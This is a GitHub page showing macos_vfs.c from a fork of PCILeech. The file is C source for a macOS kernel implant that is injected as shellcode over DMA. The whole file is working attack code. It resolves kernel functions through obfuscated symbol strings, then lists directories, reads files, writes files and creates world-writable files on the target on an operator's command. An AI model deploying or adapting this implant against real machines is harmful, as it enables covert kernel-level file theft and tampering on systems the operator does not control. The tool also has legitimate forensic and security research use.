forked from ufrisk/pcileech
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathmacos_vfs.c
More file actions
418 lines (390 loc) · 13.8 KB
/
Copy pathmacos_vfs.c
File metadata and controls
418 lines (390 loc) · 13.8 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
// macos_vfs.c : kernel code to support the PCILeech file system.
// Compatible with Apple macOS.
//
// (c) Ulf Frisk, 2017
// Author: Ulf Frisk, pcileech@frizk.net
//
// compile with:
// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel macos_common.c
// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel macos_vfs.c
// ml64 macos_common_a.asm /Femacos_vfs.exe /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main macos_vfs.obj macos_common.obj
// shellcode64.exe -o macos_vfs.exe
//
#include "macos_common.h"
//-----------------------------------------------------------------------------
// Core defines and typedefs shared between kernel implants and pcileech.
//-----------------------------------------------------------------------------
#define VFS_OP_MAGIC 0x79e720ad93aa130f
#define VFS_OP_CMD_LIST_DIRECTORY 1
#define VFS_OP_CMD_WRITE 2
#define VFS_OP_CMD_READ 3
#define VFS_OP_CMD_CREATE 4
#define VFS_OP_CMD_DELETE 5
#define VFS_FLAGS_FILE_NORMAL 0x01
#define VFS_FLAGS_FILE_DIRECTORY 0x02
#define VFS_FLAGS_FILE_SYMLINK 0x04
#define VFS_FLAGS_FILE_OTHER 0x08
#define VFS_FLAGS_UNICODE 0x10
#define VFS_FLAGS_EXIST_FILE 0x20
#define VFS_FLAGS_TRUNCATE_ON_WRITE 0x40
#define VFS_FLAGS_APPEND_ON_WRITE 0x80
typedef struct tdVFS_OPERATION {
QWORD magic;
QWORD op;
QWORD flags;
CHAR szFileName[MAX_PATH];
WCHAR wszFileName[MAX_PATH];
QWORD offset;
QWORD cb;
BYTE pb[];
} VFS_OPERATION, *PVFS_OPERATION;
typedef struct tdVFS_RESULT_FILEINFO {
QWORD flags;
QWORD tAccessOpt;
QWORD tModifyOpt;
QWORD tCreateOpt;
QWORD dbg1;
QWORD dbg2;
QWORD cb;
WCHAR wszFileName[MAX_PATH];
} VFS_RESULT_FILEINFO, *PVFS_RESULT_FILEINFO;
//-----------------------------------------------------------------------------
// Other required defines and typedefs.
//-----------------------------------------------------------------------------
#define O_ACCMODE 0x0003
#define O_RDONLY 0x0000
#define O_WRONLY 0x0001
#define O_RDWR 0x0002
#define O_NONBLOCK 0x0004
#define O_APPEND 0x0008
#define O_SHLOCK 0x0010
#define O_EXLOCK 0x0020
#define O_ASYNC 0x0040
#define O_SYNC 0x0080
#define O_NOFOLLOW 0x0100
#define O_CREAT 0x0200
#define O_TRUNC 0x0400
#define O_EXCL 0x0800
#define O_EVTONLY 0x8000
#define O_NOCTTY 0x20000
#define O_DIRECTORY 0x100000
#define O_SYMLINK 0x200000
#define VNODE_ATTR_va_data_size (1LL<< 4) /* 00000010 */
#define VNODE_ATTR_va_create_time (1LL<<12) /* 00001000 */
#define VNODE_ATTR_va_access_time (1LL<<13) /* 00002000 */
#define VNODE_ATTR_va_modify_time (1LL<<14) /* 00004000 */
#define VNODE_ATTR_va_name (1LL<<25) /* 02000000 */
struct attrlist {
WORD bitmapcount; /* number of attr. bit sets in list (should be 5) */
WORD reserved; /* (to maintain 4-byte alignment) */
DWORD commonattr; /* common attribute group */
DWORD volattr; /* Volume attribute group */
DWORD dirattr; /* directory attribute group */
DWORD fileattr; /* file attribute group */
DWORD forkattr; /* fork attribute group */
};
typedef struct attribute_set {
DWORD commonattr; /* common attribute group */
DWORD volattr; /* Volume attribute group */
DWORD dirattr; /* directory attribute group */
DWORD fileattr; /* file attribute group */
DWORD forkattr; /* fork attribute group */
} attribute_set_t;
typedef struct attrreference {
DWORD attr_dataoffset;
DWORD attr_length;
} attrreference_t;
struct timespec {
QWORD tv_sec; // seconds
QWORD tv_nsec; // nanoseconds
};
enum vtype {
VNON,
VREG, VDIR, VBLK, VCHR, VLNK,
VSOCK, VFIFO, VBAD, VSTR, VCPLX
};
#define ATTR_BIT_MAP_COUNT 5
#define ATTR_CMN_NAME 0x00000001
#define ATTR_CMN_OBJTYPE 0x00000008
#define ATTR_CMN_CRTIME 0x00000200
#define ATTR_CMN_MODTIME 0x00000400
#define ATTR_CMN_ACCTIME 0x00001000
#define ATTR_CMN_RETURNED_ATTRS 0x80000000
#define ATTR_DIR_ENTRYCOUNT 0x00000002
#define ATTR_FILE_TOTALSIZE 0x00000002
struct vnode_attr {
/* bitfields */
QWORD va_supported;
QWORD va_active;
QWORD unknown[64];
};
//-----------------------------------------------------------------------------
// Functions below.
//-----------------------------------------------------------------------------
typedef struct tdFN2 {
QWORD vnode_lookup;
QWORD vnode_put;
QWORD vnode_setsize;
QWORD vnode_open;
QWORD vnode_close;
QWORD VNOP_READ;
QWORD VNOP_WRITE;
QWORD VNOP_GETATTRLISTBULK;
QWORD uio_addiov;
QWORD uio_resid;
QWORD vfs_context_current;
QWORD uio_create;
QWORD uio_free;
} FN2, *PFN2;
BOOL LookupFunctions2(PKMDDATA pk, PFN2 pfn2) {
QWORD i = 0, NAMES[sizeof(FN2) / sizeof(QWORD)], *pfn_qw = (PQWORD)pfn2;
NAMES[i++] = (QWORD)(CHAR[]) { '_', 'v', 'n', 'o', 'd', 'e', '_', 'l', 'o', 'o', 'k', 'u', 'p', 0 };
NAMES[i++] = (QWORD)(CHAR[]) { '_', 'v', 'n', 'o', 'd', 'e', '_', 'p', 'u', 't', 0 };
NAMES[i++] = (QWORD)(CHAR[]) { '_', 'v', 'n', 'o', 'd', 'e', '_', 's', 'e', 't', 's', 'i', 'z', 'e', 0 };
NAMES[i++] = (QWORD)(CHAR[]) { '_', 'v', 'n', 'o', 'd', 'e', '_', 'o', 'p', 'e', 'n', 0 };
NAMES[i++] = (QWORD)(CHAR[]) { '_', 'v', 'n', 'o', 'd', 'e', '_', 'c', 'l', 'o', 's', 'e', 0 };
NAMES[i++] = (QWORD)(CHAR[]) { '_', 'V', 'N', 'O', 'P', '_', 'R', 'E', 'A', 'D', 0 };
NAMES[i++] = (QWORD)(CHAR[]) { '_', 'V', 'N', 'O', 'P', '_', 'W', 'R', 'I', 'T', 'E', 0 };
NAMES[i++] = (QWORD)(CHAR[]) { '_', 'V', 'N', 'O', 'P', '_', 'G', 'E', 'T', 'A', 'T', 'T', 'R', 'L', 'I', 'S', 'T', 'B', 'U', 'L', 'K', 0 };
NAMES[i++] = (QWORD)(CHAR[]) { '_', 'u', 'i', 'o', '_', 'a', 'd', 'd', 'i', 'o', 'v', 0 };
NAMES[i++] = (QWORD)(CHAR[]) { '_', 'u', 'i', 'o', '_', 'r', 'e', 's', 'i', 'd', 0 };
NAMES[i++] = (QWORD)(CHAR[]) { '_', 'v', 'f', 's', '_', 'c', 'o', 'n', 't', 'e', 'x', 't', '_', 'c', 'u', 'r', 'r', 'e', 'n', 't', 0 };
NAMES[i++] = (QWORD)(CHAR[]) { '_', 'u', 'i', 'o', '_', 'c', 'r', 'e', 'a', 't', 'e', 0 };
NAMES[i++] = (QWORD)(CHAR[]) { '_', 'u', 'i', 'o', '_', 'f', 'r', 'e', 'e', 0 };
for(i = 0; i < sizeof(FN2) / sizeof(QWORD); i++) {
pfn_qw[i] = LookupFunctionMacOS(pk->AddrKernelBase, (CHAR*)NAMES[i]);
if(!pfn_qw[i]) { return FALSE; }
}
return TRUE;
}
QWORD UnixToWindowsFiletime(QWORD tv) {
QWORD result = 11644473600ULL; // EPOCH DIFF
result += tv;
result *= 10000000ULL;
return result;
}
STATUS VfsList(PKMDDATA pk, PFN2 pfn2, PVFS_OPERATION pop)
{
DWORD status = STATUS_SUCCESS;
QWORD i, uio = 0, vnode = 0, vfs_current;
PFNMACOS pfn1 = &pk->fn;
PVFS_RESULT_FILEINFO pfi;
QWORD qw, p, cfi = 0, pbRecordFull, cbRecordFull, pbRecord;
attribute_set_t *pAttrSet;
attrreference_t *pAttrRef;
DWORD dw, eofflag, actualcount;
struct timespec *pts;
struct vnode_attr va;
struct attrlist al;
if(pk->dataOutExtraLengthMax < 0x00100000) {
status = STATUS_FAIL_OUTOFMEMORY;
goto fail;
}
vfs_current = SysVCall(pfn2->vfs_context_current);
if(SysVCall(pfn2->vnode_lookup, pop->szFileName, 0, &vnode, vfs_current)) {
status = STATUS_FAIL_FILE_CANNOT_OPEN;
goto fail;
}
SysVCall(pfn1->memset, &va, 0, sizeof(struct vnode_attr));
// set attribute list with attributes that should be retrieved.
SysVCall(pfn1->memset, &al, 0, sizeof(struct attrlist));
al.bitmapcount = ATTR_BIT_MAP_COUNT;
al.commonattr = ATTR_CMN_NAME | ATTR_CMN_RETURNED_ATTRS | ATTR_CMN_CRTIME | ATTR_CMN_MODTIME | ATTR_CMN_ACCTIME | ATTR_CMN_OBJTYPE;
al.fileattr = ATTR_FILE_TOTALSIZE;
al.dirattr = ATTR_DIR_ENTRYCOUNT;
while(TRUE) {
actualcount = 0;
pbRecordFull = pk->DMAAddrVirtual + pk->dataOutExtraOffset + pk->dataOutExtraLengthMax - 0x00010000;
SysVCall(pfn1->memset, pbRecordFull, 0, 0x00010000);
uio = SysVCall(pfn2->uio_create, 1 /* count iov */, cfi /* offset */, 2 /* kernel addr */, 0 /* read */);
if(SysVCall(pfn2->uio_addiov, uio, pbRecordFull, 0x00010000)) {
status = STATUS_FAIL_FILE_CANNOT_OPEN;
goto fail;
}
if(SysVCall(pfn2->VNOP_GETATTRLISTBULK, vnode, &al, &va, uio, NULL /* private */, 0 /* options */, &eofflag, &actualcount, vfs_current)) {
status = STATUS_FAIL_FILE_CANNOT_OPEN;
goto fail;
}
if(0 == actualcount) {
break;
}
if((pk->dataOutExtraLengthMax - 0x00010000) < (cfi + actualcount) * sizeof(VFS_RESULT_FILEINFO)) {
break;
}
for(p = 0; p < actualcount; p++) {
pfi = (PVFS_RESULT_FILEINFO)(pk->DMAAddrVirtual + pk->dataOutExtraOffset + (p + cfi) * sizeof(VFS_RESULT_FILEINFO));
SysVCall(pfn1->memset, pfi, 0, sizeof(VFS_RESULT_FILEINFO));
cbRecordFull = *(PDWORD)pbRecordFull;
pbRecord = pbRecordFull;
pbRecordFull += cbRecordFull;
pbRecord += sizeof(DWORD);
pAttrSet = (attribute_set_t*)pbRecord;
pbRecord += sizeof(attribute_set_t);
if(pAttrSet->commonattr & ATTR_CMN_NAME) {
pAttrRef = (attrreference_t*)pbRecord;
pbRecord += sizeof(attrreference_t);
qw = pAttrRef->attr_length;
if(qw > MAX_PATH - 1) {
qw = MAX_PATH - 1;
}
for(i = 0; i < qw; i++) {
pfi->wszFileName[i] = *(PCHAR)((QWORD)pAttrRef + pAttrRef->attr_dataoffset + i);
}
}
if(pAttrSet->commonattr & ATTR_CMN_OBJTYPE) {
// vnode type
dw = *(PDWORD)pbRecord;
pbRecord += sizeof(DWORD);
if(dw == VREG) {
pfi->flags |= VFS_FLAGS_FILE_NORMAL;
} else if(dw == VDIR) {
pfi->flags |= VFS_FLAGS_FILE_DIRECTORY;
} else if(dw == VLNK) {
pfi->flags |= VFS_FLAGS_FILE_SYMLINK;
} else {
pfi->flags |= VFS_FLAGS_FILE_OTHER;
}
}
if(pAttrSet->commonattr & ATTR_CMN_CRTIME) {
pts = (struct timespec*)pbRecord;
pbRecord += sizeof(struct timespec);
pfi->tCreateOpt = UnixToWindowsFiletime(pts->tv_sec);
}
if(pAttrSet->commonattr & ATTR_CMN_MODTIME) {
pts = (struct timespec*)pbRecord;
pbRecord += sizeof(struct timespec);
pfi->tModifyOpt = UnixToWindowsFiletime(pts->tv_sec);
}
if(pAttrSet->commonattr & ATTR_CMN_ACCTIME) {
pts = (struct timespec*)pbRecord;
pbRecord += sizeof(struct timespec);
pfi->tAccessOpt = UnixToWindowsFiletime(pts->tv_sec);
}
if(pAttrSet->fileattr & ATTR_FILE_TOTALSIZE) {
pfi->cb = *(PQWORD)pbRecord;
pbRecord += sizeof(QWORD);
}
}
SysVCall(pfn2->uio_free, uio);
uio = 0;
cfi += actualcount;
}
pk->dataOutExtraLength = cfi * sizeof(VFS_RESULT_FILEINFO);
fail:
if(uio) { SysVCall(pfn2->uio_free, uio); }
if(vnode) { SysVCall(pfn2->vnode_put, vnode); }
return cfi ? STATUS_SUCCESS : status;
}
STATUS VfsDelete(PKMDDATA pk, PFN2 pfn2, PVFS_OPERATION pop)
{
UNREFERENCED_PARAMETER(pk);
UNREFERENCED_PARAMETER(pfn2);
UNREFERENCED_PARAMETER(pop);
return STATUS_FAIL_NOT_IMPLEMENTED;
}
STATUS VfsRead(PKMDDATA pk, PFN2 pfn2, PVFS_OPERATION pop)
{
UNREFERENCED_PARAMETER(pk);
DWORD status = STATUS_SUCCESS;
QWORD uio = 0, vnode = 0, vfs_current;
vfs_current = SysVCall(pfn2->vfs_context_current);
if(SysVCall(pfn2->vnode_lookup, pop->szFileName, 0, &vnode, vfs_current)) {
status = STATUS_FAIL_FILE_CANNOT_OPEN;
goto fail;
}
uio = SysVCall(pfn2->uio_create, 1 /* count iov */, pop->offset /* offset */, 2 /* kernel addr */, 0 /* read */);
if(SysVCall(pfn2->uio_addiov, uio, pk->DMAAddrVirtual + pk->dataOutExtraOffset, pk->dataOutExtraLengthMax)) {
status = STATUS_FAIL_FILE_CANNOT_OPEN;
goto fail;
}
if(SysVCall(pfn2->VNOP_READ, vnode, uio, 0, vfs_current)) {
status = STATUS_FAIL_FILE_CANNOT_OPEN;
goto fail;
}
pk->dataOutExtraLength = pk->dataOutExtraLengthMax - SysVCall(pfn2->uio_resid, uio);
fail:
if(uio) { SysVCall(pfn2->uio_free, uio); }
if(vnode) { SysVCall(pfn2->vnode_put, vnode); }
return status;
}
STATUS VfsWrite(PKMDDATA pk, PFN2 pfn2, PVFS_OPERATION pop)
{
UNREFERENCED_PARAMETER(pk);
DWORD status = STATUS_SUCCESS;
QWORD uio = 0, vnode = 0, flags = 0, vfs_current;
flags |= O_WRONLY;
flags |= (pop->flags & VFS_FLAGS_TRUNCATE_ON_WRITE) ? O_TRUNC : 0;
flags |= (pop->flags & VFS_FLAGS_APPEND_ON_WRITE) ? O_APPEND : 0;
vfs_current = SysVCall(pfn2->vfs_context_current);
if(SysVCall(pfn2->vnode_open, pop->szFileName, flags, 0, 0, &vnode, vfs_current)) {
status = STATUS_FAIL_FILE_CANNOT_OPEN;
goto fail;
}
uio = SysVCall(pfn2->uio_create, 1 /* count iov */, pop->offset /* offset */, 2 /* kernel addr */, 1 /* write */);
if(SysVCall(pfn2->uio_addiov, uio, pop->pb, pop->cb)) {
status = STATUS_FAIL_FILE_CANNOT_OPEN;
goto fail;
}
if(SysVCall(pfn2->VNOP_WRITE, vnode, uio, 0, vfs_current)) {
status = STATUS_FAIL_FILE_CANNOT_OPEN;
goto fail;
}
if(flags & O_TRUNC) {
SysVCall(pfn2->vnode_setsize, vnode, pop->offset + pop->cb, 0, vfs_current);
}
fail:
if(uio) { SysVCall(pfn2->uio_free, uio); }
if(vnode) { SysVCall(pfn2->vnode_close, vnode, 0x10000 /* descriptor written */, vfs_current); }
return status;
}
STATUS VfsCreate(PKMDDATA pk, PFN2 pfn2, PVFS_OPERATION pop)
{
UNREFERENCED_PARAMETER(pk);
DWORD status = STATUS_SUCCESS;
QWORD vnode = 0, vfs_current;
vfs_current = SysVCall(pfn2->vfs_context_current);
if(SysVCall(pfn2->vnode_open, pop->szFileName, O_CREAT | O_WRONLY | O_TRUNC, 0x1ff /*-rwxrwxrwx*/, 0, &vnode, vfs_current)) {
status = STATUS_FAIL_FILE_CANNOT_OPEN;
goto fail;
}
fail:
if(vnode) { SysVCall(pfn2->vnode_close, vnode, 0x10000 /* descriptor written */, vfs_current); }
return status;
}
VOID c_EntryPoint(PKMDDATA pk)
{
PVFS_OPERATION pop;
FN2 fn2;
// initialize kernel functions
if(!LookupFunctions2(pk, &fn2)) {
pk->dataOut[0] = STATUS_FAIL_FUNCTION_LOOKUP;
return;
}
// setup references to in/out data and check validity
pop = (PVFS_OPERATION)(pk->DMAAddrVirtual + pk->dataInExtraOffset);
if((pk->dataInExtraLength < sizeof(VFS_OPERATION)) || (pop->magic != VFS_OP_MAGIC) || (pop->flags & VFS_FLAGS_UNICODE)) {
pk->dataOut[0] = STATUS_FAIL_SIGNATURE_NOT_FOUND;
return;
}
// take action
if(pop->op == VFS_OP_CMD_LIST_DIRECTORY) {
pk->dataOut[0] = VfsList(pk, &fn2, pop);
return;
}
if(pop->op == VFS_OP_CMD_READ) {
pk->dataOut[0] = VfsRead(pk, &fn2, pop);
return;
}
if(pop->op == VFS_OP_CMD_WRITE) {
pk->dataOut[0] = VfsWrite(pk, &fn2, pop);
return;
}
if(pop->op == VFS_OP_CMD_CREATE) {
pk->dataOut[0] = VfsCreate(pk, &fn2, pop);
return;
}
if(pop->op == VFS_OP_CMD_DELETE) {
pk->dataOut[0] = VfsDelete(pk, &fn2, pop);
return;
}
}